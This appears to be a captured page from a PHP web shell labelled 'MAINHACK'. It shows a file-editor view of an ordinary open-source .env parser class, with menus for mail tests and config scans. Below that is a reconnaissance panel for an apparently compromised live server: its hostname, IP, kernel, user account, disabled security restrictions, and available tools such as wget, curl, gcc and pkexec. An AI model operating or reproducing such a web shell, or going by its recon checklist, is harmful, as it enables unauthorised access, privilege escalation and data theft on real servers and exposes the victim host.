[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ParserV1.php
<?php namespace Jackiedo\DotenvEditor\Workers\Parsers; use Jackiedo\DotenvEditor\Contracts\ParserInterface; use Jackiedo\DotenvEditor\Exceptions\InvalidValueException; /** * The reader parser V1 class. * * @package Jackiedo\DotenvEditor * * @author Jackie Do <anhvudo@gmail.com> */ class ParserV1 extends Parser implements ParserInterface { public const INITIAL_STATE = 0; public const UNQUOTED_STATE = 1; public const QUOTED_STATE = 2; public const ESCAPE_STATE = 3; public const WHITESPACE_STATE = 4; public const COMMENT_STATE = 5; /** * Parse setter data into array of value, comment information. * * @param null|string $data * * @return array * * @throws InvalidValueException */ protected function parseSetterData($data) { if (null === $data || '' === trim($data)) { return ['', '']; } $dataChars = str_split($data); $parseInfoInit = ['', '', self::INITIAL_STATE]; // 1st element is value, 2nd element is comment, 3rd element is parsing state $result = array_reduce($dataChars, function ($parseInfo, $char) use ($data) { switch ($parseInfo[2]) { case self::INITIAL_STATE: if ('"' === $char || '\'' === $char) { return [$parseInfo[0], $parseInfo[1], self::QUOTED_STATE]; } if ('#' === $char) { return [$parseInfo[0], $parseInfo[1], self::COMMENT_STATE]; } return [$parseInfo[0] . $char, $parseInfo[1], self::UNQUOTED_STATE]; case self::UNQUOTED_STATE: if ('#' === $char) { return [$parseInfo[0], $parseInfo[1], self::COMMENT_STATE]; } if (ctype_space($char)) { return [$parseInfo[0], $parseInfo[1], self::WHITESPACE_STATE]; } return [$parseInfo[0] . $char, $parseInfo[1], self::UNQUOTED_STATE]; case self::QUOTED_STATE: if ($char === $data[0]) { return [$parseInfo[0], $parseInfo[1], self::WHITESPACE_STATE]; } if ('\\' === $char) { return [$parseInfo[0], $parseInfo[1], self::ESCAPE_STATE]; } return [$parseInfo[0] . $char, $parseInfo[1], self::QUOTED_STATE]; case self::ESCAPE_STATE: if ($char === $data[0] || '\\' === $char) { return [$parseInfo[0] . $char, $parseInfo[1], self::QUOTED_STATE]; } if (in_array($char, ['f', 'n', 'r', 't', 'v'], true)) { return [$parseInfo[0] . stripcslashes('\\' . $char), $parseInfo[1], self::QUOTED_STATE]; } throw new InvalidValueException(self::getErrorMessage('an unexpected escape sequence', $data)); case self::WHITESPACE_STATE: if ('#' === $char) { return [$parseInfo[0], $parseInfo[1], self::COMMENT_STATE]; } if (!ctype_space($char)) { throw new InvalidValueException(self::getErrorMessage('unexpected whitespace', $data)); } return [$parseInfo[0], $parseInfo[1], self::WHITESPACE_STATE]; case self::COMMENT_STATE: return [$parseInfo[0], $parseInfo[1] . $char, self::COMMENT_STATE]; } }, $parseInfoInit); if (in_array($result[2], [ self::QUOTED_STATE, self::ESCAPE_STATE, ], true)) { throw new InvalidValueException(self::getErrorMessage('a missing closing quote', $data)); } return [$result[0], $this->normaliseComment($result[1])]; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.69 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002